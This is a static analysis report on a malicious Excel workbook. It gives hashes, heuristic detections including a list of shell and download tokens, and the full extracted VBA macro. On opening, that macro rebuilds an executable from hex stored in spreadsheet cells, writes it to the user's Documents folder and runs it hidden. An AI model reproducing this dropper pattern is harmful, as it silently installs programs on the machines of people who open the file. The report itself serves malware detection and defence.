Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3a3b5600ea548d21…

MALICIOUS

Office (OOXML)

160.5 KB Created: 2021-02-22 08:48:53 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-03-01
MD5: a6f89b660c18e50b2c69dd6e9b240e4d SHA-1: 7c3c906f729e7a128ff05131f6c03021482c14e6 SHA-256: 3a3b5600ea548d2146b342e1cb03a26aa36ac07b6087eb13fc33081a7e3151f2
148 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        ConfigLaunch = Shell(ConfigViewPath & " -i " & ConfigPath, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2592 bytes
SHA-256: a831fb93cb6db8593ecd71a725b23dccb3d119b737ebf3519fb24af45831307c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Call Main
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Main()
    
    userPath = "C:\Users\" & Application.UserName & "\Documents\ConfigView"
    If Len(Dir(userPath, vbDirectory)) = 0 Then
    MkDir userPath
    End If
    ConfigPath = userPath & "\config.ins"
    ConfigViewPath = userPath & "\configview.exe"
    
    '--- ConfigInfo ---
    
    Dim ConfigInfo As String
    For i = 1 To 22
        ConfigInfo = ConfigInfo + Sheets(2).Cells(i, 1).Value
    Next i
    Dim ConfigDelimited() As String
    ConfigDelimited = Split(ConfigInfo, ",")

    
    '--- ConfigViewInfo ---
    
    Dim ConfigViewInfo As String
    For i = 23 To 6461
        ConfigViewInfo = ConfigViewInfo + Sheets(2).Cells(i, 1).Value
    Next i

    Dim ConfigViewDelimited() As String
    ConfigViewDelimited = Split(ConfigViewInfo, ",")
    
    
    '--- ConfigInfoWrite ---
    
    Dim ConfigHandle As Long
    ConfigHandle = FreeFile
    
    Open ConfigPath For Binary As #ConfigHandle
    For j = LBound(ConfigDelimited) To UBound(ConfigDelimited)
        Put #ConfigHandle, , CByte("&H" & ConfigDelimited(j))
    Next j
    Close #ConfigHandle

    
    '--- ConfigViewInfoWrite ---
    
    Dim ConfigViewHandle As Long
    ConfigViewHandle = FreeFile
    
    Open ConfigViewPath For Binary As #ConfigViewHandle
    For k = LBound(ConfigViewDelimited) To UBound(ConfigViewDelimited)
        Put #ConfigViewHandle, , CByte("&H" & ConfigViewDelimited(k))
    Next k
    Close #ConfigViewHandle
    
    '--- Launch ---
    
    ConfigLaunch = Shell(ConfigViewPath & " -i " & ConfigPath, vbHide)

End Sub

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 28160 bytes
SHA-256: 0bba28cbb2ef0c3d627f4b2af59abe92873c750cfa6e0f7585468745f3e0a75f